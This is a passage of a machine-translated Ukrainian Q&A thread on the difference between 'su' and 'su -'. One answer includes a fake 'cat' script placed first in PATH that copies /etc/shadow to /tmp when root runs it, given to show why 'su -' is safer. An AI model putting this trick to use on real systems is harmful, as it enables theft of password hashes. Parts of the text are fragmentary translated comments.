Відповіді:
su -після переключення користувача викликає оболонку входу. Оболонка входу скидає більшість змінних середовища, забезпечуючи чисту базу.
su просто перемикає користувача, забезпечуючи звичайну оболонку із середовищем, майже таким же, як і у старого користувача.
Уявіть, ви розробник програмного забезпечення з нормальним доступом користувачів до машини, а ваш необізнаний адміністратор просто не надасть вам root доступу. Давайте (сподіваємось) обдуримо його.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Тепер ви запитуєте свого адміністратора, чому ви не можете catстворити фіктивний файл у домашній папці, він просто не працюватиме!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Якщо ваш адміністратор не такий розумний або просто ледачий, він може зайти до вашого столу і спробувати свої сили суперкористувача:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Оце Так! Дякую, супер адмін!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Він, він.
Можливо, ви помітили, що пошкоджена $PATHзмінна не була скинута. Це не сталося б, якби адміністратор посилався su -натомість.
umaskзразок 000 або він не спрацює.
suфайл у PATH. Не так важко імітувати поведінку реального su. Суперкористувач все одно був необережний :-)
su --НЕ те саме, що su -: --повідомляє обробник параметрів getopt (s) (або подібний), щоб зупинити обробку командного рядка для подальших параметрів (корисно, наприклад, якщо решта містить назви файлів, які можуть починатися з '-'). Тобто, в "rm -i - -f": -f потім трактується як звичайний аргумент, тому тут як ім'я файлу до rm -i, а не як додатковий -fваріант для rmкоманди. Так su --просто suі ні su -! Тож su --було б настільки ж небезпечно для (смішного та повчального) прикладу, що подається за допомогою ваг. Використовуйте su -.
su -записує вас повністю як корінь, тоді як suробить це таким чином, що ви робите вигляд, що він root.
Найбільш очевидним прикладом цього є ~домашній каталог root, якщо ви використовуєте su -, але власний домашній каталог, якщо ви використовуєте su.
Залежно від вашої системи, це також може означати відмінності у запиті PATHабо файлі історії.
Отже, якщо ви є частиною команди, яка адмініструє систему, і ваш колега дає вам команду запустити, ви знаєте, що вона буде працювати однаково, якщо ви обидва використовуєте su -, але якщо ви обидва використовуєте su, можливі відмінності через те, що у вас є різні конфігурації оболонок.
З іншого боку, якщо ви хочете запустити команду як root, але використовуючи власну конфігурацію, то, можливо, suвам краще.
Також не забувайте про те sudo, що є -sможливість запустити оболонку, що працює як root. Звичайно, для цього є і різні правила, і вони змінюються залежно від того, який дистрибутив ви використовуєте.
.bashrcабо /etc/bashrcабо /etc/profile.dсценарії установки PATH. Шукайте if [ $UID -eq 0 ]чи щось подібне.
$USERнаприклад, залишається без змін.
sudo su?
Я використовую su - коли я перебуваю в каталозі як звичайний користувач, але хочу переключитися на root і залишитися в тому ж каталозі після переключення. Якщо ви використовуєте su - він перемикає користувача на root, а також переносить вас на / root, який є головним домашнім каталогом.
/все, що визначається як домашній каталог root
Основна відмінність:
su - username встановлює середовище оболонки так, як якщо б це був чистий логін, як вказаний користувач, він отримує доступ та використовує вказані змінні середовища середовища користувачів,
su username просто запускає оболонку з поточними налаштуваннями середовища для вказаного користувача.
Якщо ім'я користувача не вказано з suі su -, кореневий обліковий запис мається на увазі як за замовчуванням.
su --те саме, щоsu.